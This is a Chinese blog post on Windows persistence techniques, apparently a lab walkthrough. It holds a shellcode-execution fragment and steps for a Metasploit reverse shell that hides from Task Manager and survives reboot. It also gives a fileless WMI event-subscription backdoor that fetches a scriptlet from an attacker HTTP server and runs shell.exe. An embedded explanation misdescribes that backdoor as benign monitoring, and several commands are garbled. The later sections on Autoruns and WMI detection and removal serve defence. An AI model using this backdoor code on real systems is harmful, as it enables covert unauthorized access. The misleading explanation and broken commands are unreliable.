    // 创建一个新的线程来执行shellcode
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
    if (hThread == NULL) {
        printf("Failed to create thread for shellcode execution.
");
        VirtualFree(exec_mem, 0, MEM_RELEASE);
        return 1;
    }

    // 等待新线程完成执行
    WaitForSingleObject(hThread, INFINITE);

    // 释放内存和关闭线程句柄
    VirtualFree(exec_mem, 0, MEM_RELEASE);
    CloseHandle(hThread);

    return 0;
}

请注意,此代码仅用于演示目的,不应在实际环境中使用。恶意软件或公鸡者可能会利用类似的技术来隐藏其行为并绕过安全检测。

show potions  #检查一下本地kali端ip和端口

维持访问技战术-Windows_恶意软件_48

然后直接输入run

维持访问技战术-Windows_远程桌面_49

回到win10用PowerShell终端打开

cd .\Users\lonelyor\Downloads\  #进入到C盘下载目录里
.\shell.psl  #运行脚本

维持访问技战术-Windows_Windows_50

回到kali,shell就上线了

维持访问技战术-Windows_恶意软件_51

windows里是看不到任何进程的

维持访问技战术-Windows_远程桌面_52

重新测试,关掉win10所有窗口,把kali的shell进程也停掉

然后kali在run,win10将现在的脚本改个后缀模拟删除,然后重启 

维持访问技战术-Windows_远程桌面_53

重启

维持访问技战术-Windows_恶意软件_54

kali在msf执行run

维持访问技战术-Windows_恶意软件_55

一分钟后反弹成功

维持访问技战术-Windows_恶意软件_56

回到win10打开任务管理器,发现看不到任何进程

维持访问技战术-Windows_Windows_57

远程调用无文件后们练习

需要创建的内容


维持访问技战术-Windows_恶意软件_58

<?xml version="1.0"?>
<package>
<component id="testCalc">
<script language="JScript">
<![CDATA[
varr= new ActiveXObject("WScript.Shell").Run("c:\shell.exe");
]]>
</script>
</component>
</package>

用python开一个服务器监听服务

python -m http.server 9999

维持访问技战术-Windows_远程桌面_59

到win中新建打开一个wmijs.psl文件

维持访问技战术-Windows_恶意软件_60


$filterName = 'filtP3'

$consumerName = 'consP3'

$Command = "Get0bject(""script:http://192.168.231.130:9999/wmi js.xml"")"

$Query = "SELECT * FROM _InstanceModificationEvent WHERE TargetInstance ISA 'win32_PerfFormattedData_PerfOS_System'"


# 创建事件过滤器

$filter = Get-WmiObject -Namespace root\subscription -Class __EventFilter -List | Where-Object { $_.Name -eq $filterName }

if (-not $filter) {

    $filter = New-Object System.Management.ManagementClass("__EventFilter", [System.Management.ManagementScope]::new("root\subscription"), $null)

    $filter.Properties["Name"].Value = $filterName

    $filter.Properties["Query"].Value = $Query

    $filter.Put()

}


# 创建事件消费者

$consumer = Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -List | Where-Object { $_.Name -eq $consumerName }

if (-not $consumer) {

    $consumer = New-Object System.Management.ManagementClass("CommandLineEventConsumer", [System.Management.ManagementScope]::new("root\subscription"), $null)

    $consumer.Properties["Name"].Value = $consumerName

    $consumer.Properties["CommandLineTemplate"].Value = $Command

    $consumer.Put()

}


# 绑定事件过滤器和事件消费者

$binding = Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding -List | Where-Object { $_.Filter -eq $filter.Path and $_.Consumer -eq $consumer.Path }

if (-not $binding) {

    $binding = New-Object System.Management.ManagementClass("__FilterToConsumerBinding", [System.Management.ManagementScope]::new("root\subscription"), $null)

    $binding.Properties["Filter"].Value = $filter.Path

    $binding.Properties["Consumer"].Value = $consumer.Path

    $binding.Put()

}

这段代码主要用于在Windows系统中创建和绑定一个事件过滤器和一个事件消费者。事件过滤器用于筛选特定的系统事件,而事件消费者则定义了如何处理这些事件。在这个例子中,事件过滤器被设置为监听_InstanceModificationEvent事件,该事件表示某个实例(如WMI对象)发生了修改。事件消费者则通过执行指定的命令来处理这些事件。

具体来说,代码的功能如下:

  1. 创建一个名为filtP3的事件过滤器,其查询条件为SELECT * FROM _InstanceModificationEvent WHERE TargetInstance ISA 'win32_PerfFormattedData_PerfOS_System',即筛选出目标实例属于win32_PerfFormattedData_PerfOS_System类别的实例修改事件。
  2. 创建一个名为consP3的事件消费者,其命令模板为Get0bject("script:http://192.168.231.130:9999/wmi js.xml"),即当事件发生时,执行这个命令。
  3. 将事件过滤器和事件消费者进行绑定,使得当满足过滤条件的事件发生时,事件消费者能够执行相应的命令。

这段代码的主要目的是实现对特定系统事件的监控和响应。例如,当系统的win32_PerfFormattedData_PerfOS_System性能数据发生变化时,可以通过指定的命令模板来执行一些操作,如发送通知、记录日志等。

维持访问技战术-Windows_远程桌面_61

运行脚本就成功添加

维持访问技战术-Windows_远程桌面_62

回到kaliLinux中,就有回弹了。如果没有的话等待一分钟即可,因为设置的是每六十秒启动一次。

维持访问技战术-Windows_远程桌面_63

自动化的工具

Autoruns

Autoruns是一个由Sysinternals开发的自动化工具,用于管理Windows操作系统的自动启动项。它可以显示并控制哪些程序和服务在系统启动时自动运行。通过使用Autoruns,用户可以查看、添加、删除和禁用各种自动启动项,从而优化系统性能和安全性。

以下是Autoruns的一些主要功能:

  1. 显示自动启动项Autoruns可以列出所有在系统启动时自动运行的程序和服务,包括那些由Windows、第三方软件和用户配置的项目。
  2. 管理启动项:用户可以通过Autoruns启用或禁用特定的自动启动项,从而控制哪些程序和服务在系统启动时运行。
  3. 编辑启动配置Autoruns允许用户编辑注册表中的启动配置,包括修改启动项的路径、参数和其他设置。
  4. 诊断启动问题:通过查看和管理自动启动项,用户可以诊断和解决可能导致系统启动缓慢或不稳定的问题。
  5. 创建自定义配置:用户可以创建和保存自定义的启动配置,以便在不同场景下快速应用不同的启动设置。
  6. 导出和导入设置Autoruns支持导出和导入自动启动项的设置,方便用户在不同系统之间迁移配置。

使用Autoruns可以帮助用户优化系统性能,减少不必要的资源占用,并提高系统的安全性和稳定性。

Autoruns的下载安装及使用

下载与安装

  1. 访问官方网站:前往Sysinternals官方网站(https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns)下载最新版本的`Autoruns`。
  2. 下载安装包:选择适合你操作系统的版本(32位或64位),下载安装包。
  3. 运行安装程序:双击下载的安装包,按照提示完成安装过程。安装过程中可能需要管理员权限,请根据提示进行操作。
  4. 启动Autoruns:安装完成后,可以在“开始”菜单或桌面上找到Autoruns图标,双击启动程序。

使用Autoruns

打开autoruns后会看到everything栏,此栏列出了自动启动项,如下图。

维持访问技战术-Windows_恶意软件_64

木马程序是没有数字签名的,我们可以多关注其description和publisher栏,如果都为空,而又不确定是否为木马程序,则可以选中右键search online进行在线搜索,个人认为如果搜索没有相应的名称结果,则木马可能性比较大,毕竟公鸡者随意为木马取个名称是搜不出的。

维持访问技战术-Windows_恶意软件_65

切换到logon栏列出了登录加载项,查看和排除方式与everything类似。

维持访问技战术-Windows_恶意软件_66

其他选项也类似,autoruns对于木马常用的加载都有列出,everything启动加载,logon登录加载,explorer windows管理器加载,ie浏览器加载,scheduled tasks定时任务加载,services服务加载,drivers设备加载等。


确认木马病独后可右键选择删除。

  1. 查看自动启动项:首次启动Autoruns时,程序会自动列出所有在系统启动时自动运行的程序和服务。主窗口分为多个部分,包括“启动”、“登录”、“服务”、“驱动程序”等,分别显示不同类型的自动启动项。
  2. 禁用启动项:如果你发现某个程序或服务不需要在启动时运行,可以选择该项目,然后点击右键选择“禁用”或者直接按下键盘上的“Delete”键。禁用的项目将在下次系统启动时不再自动运行。
  3. 启用启动项:如果某个项目被禁用了,可以通过同样的方式选择该项目,然后点击右键选择“启用”来恢复其自动启动功能。
  4. 编辑启动配置:点击某个项目,可以在右侧的详细信息区域看到该项目的配置信息,包括路径、参数等。你可以修改这些配置,然后点击“应用”按钮保存更改。
  5. 保存和加载配置Autoruns允许你保存当前的自动启动项配置,以便在需要时恢复。点击“文件”菜单,选择“保存”或“加载”来操作配置文件。
  6. 查看日志:如果你不确定某个项目的用途,可以点击“帮助”菜单,选择“在线帮助”来查看详细的说明和日志信息。
  7. 应用更改:完成所有配置后,点击“应用”按钮保存所有的更改。某些更改可能需要重启系统才能生效。

通过使用Autoruns,你可以有效地管理系统的自动启动项,优化系统性能和安全性。

WMI检测与清除

WMI(Windows Management Instrumentation)是Windows操作系统中的一种管理技术,它允许管理员和开发人员访问和操作系统信息。要检测和清除WMI,可以按照以下步骤进行:

  1. 打开命令提示符(以管理员身份运行)。
  2. 输入以下命令来查看当前的WMI设置:
wmic /namespace:\\root\subscription path __EventFilter where "Name='WMI Filter'" get *
  1. 如果发现有名为“WMI Filter”的事件过滤器,可以使用以下命令删除它:
wmic /namespace:\\root\subscription delete __EventFilter where "Name='WMI Filter'"
  1. 若要检查是否有其他WMI事件订阅,可以使用以下命令:
wmic /namespace:\\root\subscription list
  1. 如果发现有其他事件订阅,可以使用以下命令删除它们(将<SubscriptionID>替换为实际的订阅ID):
wmic /namespace:\\root\subscription delete __EventFilter where "Subscriptinotallow='<SubscriptionID>'"
  1. 最后,重启计算机以确保所有更改生效。

维持访问技战术-Windows_远程桌面_67

打开PowerShell,输入指令

Get-WMI0bject Namespace root\Subscription -Class _EventFilter

这段代码使用了PowerShell来获取WMI(Windows Management Instrumentation)对象。下面是对这段代码的逐部分解释:

  • Get-WmiObject:这是PowerShell中的一个cmdlet(命令行工具),用于检索WMI对象。WMI对象提供了对Windows操作系统及其组件的管理和监控功能。
  • Namespace root\Subscription:这里指定了WMI命名空间。命名空间是WMI中用于组织和分类管理信息的一种方式。root\Subscription是WMI中的一个特定命名空间,它包含了与事件订阅相关的类和实例。
  • -Class _EventFilter:这部分指定了要检索的WMI类的名称。_EventFilter是WMI中的一个类,它用于定义事件过滤器,即定义哪些事件将被监视和触发。事件过滤器通常与事件消费者(如__EventConsumer)一起使用,以实现对特定系统事件的响应。

综合起来,这段PowerShell代码的作用是检索root\Subscription命名空间下所有_EventFilter类的实例。这些实例代表了在系统中定义的所有事件过滤器,它们决定了哪些WMI事件将被捕获和处理。

请注意,从PowerShell 3.0开始,推荐使用Get-CimInstance cmdlet代替Get-WmiObject,因为前者提供了更好的性能和兼容性。因此,上述代码的现代等效版本应该是:

Get-CimInstance -Namespace root\Subscription -ClassName _EventFilter

这段代码将返回相同的结果,但使用了更现代的WMI查询方法。

维持访问技战术-Windows_恶意软件_68

这里的select就是刚刚写的后们信息

还有其他的方法也可以列举事件

维持访问技战术-Windows_Windows_69

还有shell.exe也可以看到

维持访问技战术-Windows_Windows_70

Get-WMI0bject-Namespace root \Subscription -Class _FilterToConsumerBinding -Filter "_path LIKE'%lonelyorfn%'" | Remove-Wmi0bject -Verbose

Get-WMI0bject-Namespace root \Subscription -Class _EventFilter -Filer "Name='lonelyorfn'" | Remove-Wmi0bject -Verbose


维持访问技战术-Windows_Windows_71

# 第一个脚本
Get-WmiObject -Namespace root\Subscription -Class _FilterToConsumerBinding -Filter "_path LIKE '%lonelyorfn%'" | Remove-WmiObject -Verbose
 
# 第二个脚本
Get-WmiObject -Namespace root\Subscription -Class _EventFilter -Filter "Name='lonelyorfn'" | Remove-WmiObject -Verbose

现在,让我们解释每个脚本的作用:

第一个脚本:

  • Get-WmiObject -Namespace root\Subscription -Class _FilterToConsumerBinding:这部分代码检索root\Subscription命名空间下所有_FilterToConsumerBinding类的实例。_FilterToConsumerBinding类定义了事件过滤器与事件消费者之间的绑定关系。
  • -Filter "_path LIKE '%lonelyorfn%'":这是一个过滤器,用于筛选出那些_path属性包含字符串'lonelyorfn'的实例。_path属性通常指向事件过滤器的路径。
  • | Remove-WmiObject -Verbose:这部分代码将前面检索到的符合条件的实例传递给Remove-WmiObject cmdlet,该cmdlet用于移除WMI对象。-Verbose参数会在执行删除操作时提供详细的输出信息。

效果:这个脚本会删除所有与'lonelyorfn'相关的_FilterToConsumerBinding实例,即解除所有包含该字符串的事件过滤器与事件消费者的绑定关系。

第二个脚本:

  • Get-WmiObject -Namespace root\Subscription -Class _EventFilter:这部分代码检索root\Subscription命名空间下所有_EventFilter类的实例。_EventFilter类定义了事件过滤器,用于确定哪些事件将被监视。
  • -Filter "Name='lonelyorfn'":这是一个过滤器,用于筛选出那些Name属性等于'lonelyorfn'的实例。
  • | Remove-WmiObject -Verbose:这部分代码将前面检索到的符合条件的实例传递给Remove-WmiObject cmdlet,该cmdlet用于移除WMI对象。-Verbose参数会在执行删除操作时提供详细的输出信息。

效果:这个脚本会删除所有名称为'lonelyorfn'_EventFilter实例,即移除所有以此命名的特定事件过滤器。

请注意,执行这些操作需要适当的权限,并且应该谨慎进行,因为错误的操作可能会影响系统的正常功能。此外,从PowerShell 3.0开始,推荐使用Get-CimInstanceRemove-CimInstance代替Get-WmiObjectRemove-WmiObject,因为前者提供了更好的性能和兼容性。

在运行一天命令

Get-WMI0bject -Namespace root\Subscription -Class CommandLINeEventConsumer -Filter "Name='lonelyorcsn'" | Remove-Wmi0bject -Verbose

维持访问技战术-Windows_恶意软件_72

代码是:

Get-WmiObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='lonelyorcsn'" | Remove-WmiObject -Verbose

现在,让我们解释脚本的作用:

  • Get-WmiObject -Namespace root\Subscription -Class CommandLineEventConsumer:这部分代码检索root\Subscription命名空间下所有CommandLineEventConsumer类的实例。CommandLineEventConsumer是一个WMI事件消费者类,它定义了一个事件发生后将执行的命令行命令。
  • -Filter "Name='lonelyorcsn'":这是一个过滤器,用于筛选出那些Name属性等于'lonelyorcsn'的实例。Name属性是CommandLineEventConsumer实例的标识符。
  • | Remove-WmiObject -Verbose:这部分代码将前面检索到的符合条件的实例传递给Remove-WmiObject cmdlet,该cmdlet用于移除WMI对象。-Verbose参数会在执行删除操作时提供详细的输出信息。

效果:这个脚本会删除所有名称为'lonelyorcsn'CommandLineEventConsumer实例,即移除所有以此命名的特定命令行事件消费者。这意味着任何通过这个事件消费者配置的命令行命令将不再被执行。

请注意,执行这些操作需要适当的权限,并且应该谨慎进行,因为错误的操作可能会影响系统的正常功能。此外,从PowerShell 3.0开始,推荐使用Get-CimInstanceRemove-CimInstance代替Get-WmiObjectRemove-WmiObject,因为前者提供了更好的性能和兼容性。

Get-WmiObject -Namespace root\Subscription -Class _FilterToConsumerBinding

维持访问技战术-Windows_远程桌面_73

这段PowerShell脚本片段用于检索WMI(Windows Management Instrumentation)对象,特别是针对root\Subscription命名空间下的_FilterToConsumerBinding类。下面是脚本的详细解释:

  • Get-WmiObject:这是PowerShell中的一个cmdlet(命令行工具),用于检索WMI对象。WMI对象提供了对Windows操作系统及其组件的管理和监控功能。
  • -Namespace root\Subscription:这里指定了WMI命名空间。命名空间是WMI中用于组织和分类管理信息的一种方式。root\Subscription是WMI中的一个特定命名空间,它包含了与事件订阅相关的类和实例。
  • -Class _FilterToConsumerBinding:这部分指定了要检索的WMI类的名称。_FilterToConsumerBinding是WMI中的一个类,它用于定义事件过滤器与事件消费者之间的绑定关系。事件过滤器定义了哪些事件将被监视,而事件消费者定义了当这些事件发生时要采取的动作。

效果:这个脚本会检索root\Subscription命名空间下所有_FilterToConsumerBinding类的实例。这些实例代表了在系统中定义的所有事件过滤器与事件消费者之间的绑定关系。通过查看这些绑定,可以了解哪些事件过滤器与哪些事件消费者相关联,以及它们是如何协同工作的。

请注意,从PowerShell 3.0开始,推荐使用Get-CimInstance cmdlet代替Get-WmiObject,因为前者提供了更好的性能和兼容性。因此,上述代码的现代等效版本应该是:

Get-CimInstance -Namespace root\Subscription -ClassName _FilterToConsumerBinding

这段代码将返回相同的结果,但使用了更现代的WMI查询方法。

这样就查询不到相关的信息了,重启电脑后我们的后们也是没有办法上线了

用来查看相应的事件的

维持访问技战术-Windows_恶意软件_74

用来删除相应的事件的

维持访问技战术-Windows_恶意软件_75

标签:exe,技战术,Windows,访问,WMI,事件,注册表,root
From: https://blog.51cto.com/zhuzhuxia/12075439

相关文章

  • 远程访问本地基于Debian Linux用于运行虚拟机和容器的Proxmox VE
    文章目录前言1.局域网访问PVE2.安装Cpolar工具3.创建PVE公网地址4.远程访问PVE5.设置固定域名6.固定地址访问前言本文主要介绍如何在Windows环境安装内网穿透工具,实现公网环境远程访问本地局域网中的ProxmoxVE平台WEB管理界面。ProxmoxVE是一个完全开源......
  • 基于windows的mysql5.7安装配置教程
    目录0.写在前面的话1.下载安装包2.进行目录选择和解压操作3.配置环境变量4.创建my.ini文件5.管理员运行终端6.安装mysqld7.初始化数据库8.启动mysql服务9.进入mysql管理终端10.修改root密码11.刷新权限12.注销内容13.重启mysql14.输入密码测试15.我的总结0......
  • 雨晨26120.1843 Windows 11 IOT LTSC2024 IE 极简版
    文件:YC24H2_26120.1843_IoTltsc2024_lite_install.wim大小:1735369862字节修改时间:2024年9月21日,星期六,13:28:39MD5:45A8652ACF59A422301DC4742518A4E2SHA1:324CC1052E0CF22DCC42FBFA230246FAD0CFFF15CRC32:86AA5FA8https://www.123pan.com/s/zEbRVv-9nd8?......
  • 网站无法访问,提示数据库连接失败,用户名和密码不正确?
    当网站提示数据库连接失败,并指出用户名和密码不正确时,可以采取以下步骤来诊断并解决这个问题:确认数据库凭证检查应用程序配置文件中用于连接数据库的用户名和密码是否正确。常见的配置文件有.env、database.ini、database.properties等,具体取决于使用的框架或语言。如果是在......
  • 帝国cms开启https后,网站后台为何无法访问?怎样解决
    当帝国CMS开启HTTPS后,网站后台无法访问的情况通常是由于HTTPS配置不当导致的一些常见问题。这里有一些可能的原因及解决方法:1..htaccess文件配置问题帝国CMS使用Apache服务器时,通常会有一个.htaccess文件用来处理重定向和其他URL重写规则。开启HTTPS后,如果.htaccess文件中的Rew......
  • WINDOWS安装RAGFLOW完整流程
    RAGFLOW是比较强大的知识库,支持搜索,聊天多种模式。知识库相比anyllm,fastgpt,dify,maxkb更强大,支持自定义分隔符,支持各种大模型提供商,如ollama等。官方体验地址,RAGFlow1:虚拟机安装:不建议通过wsl安装,wsl会遇到systecmctl不可用等诸多问题。以VMWarePro为例,参考下面链接完成安装......
  • 如何选择OS--Windows不同Editions的选用
    写在前言:       本学期承担了计算机操作系统的专业课程,授课对象是大三\大四的童鞋,毕竟这门课主要是以理论学习为主,理论太过于经典(知识抽象、陈旧、枯燥),所以贴上一些当前使用的东西给童鞋们参阅吧。……^v^……第一部分关于microsoft的windowsos。《内容参考Compar......
  • windows系统无法连接服务器
    如题所示,前几天在使用vscode连接实验室的服务器的时候出现了以下问题连接服务器报错前提是我的vscode连接正常,账户和密码输入无误且在相同环境WiFi下进行连接的(如果有人需要远程连接服务器则需使用脚本文件先在终端运行再进行连接,如下图所示运行脚本文件)1、......
  • 使用U盘PE重装Windows系统
    1、概述操作系统一般都是安装在硬盘内的,硬盘是一种存储数据的介质,U盘同样也是一种存储数据的介质,因此也可以把操作系统安装进U盘里。因为大部分U盘的性能比较差,不能流畅地运行完整版的操作系统,所以只能安装精简了大部分功能、只保留基本运行环境的简化版操作系统(即PE)。P......
  • Windows环境下搭建MySQL主从同步实现读写分离
    文章目录前言读写分离的基本原理环境介绍及说明主库my.ini初始配置创建用于同步的数据库和表一、新增mysql从库1.复制mysql文件夹2.修改从库的my.ini3.安装到windows服务二、在my.ini中配置主、从库相关参数1.主库新增配置参数不同版本参数不同问题2.从库新增配置参......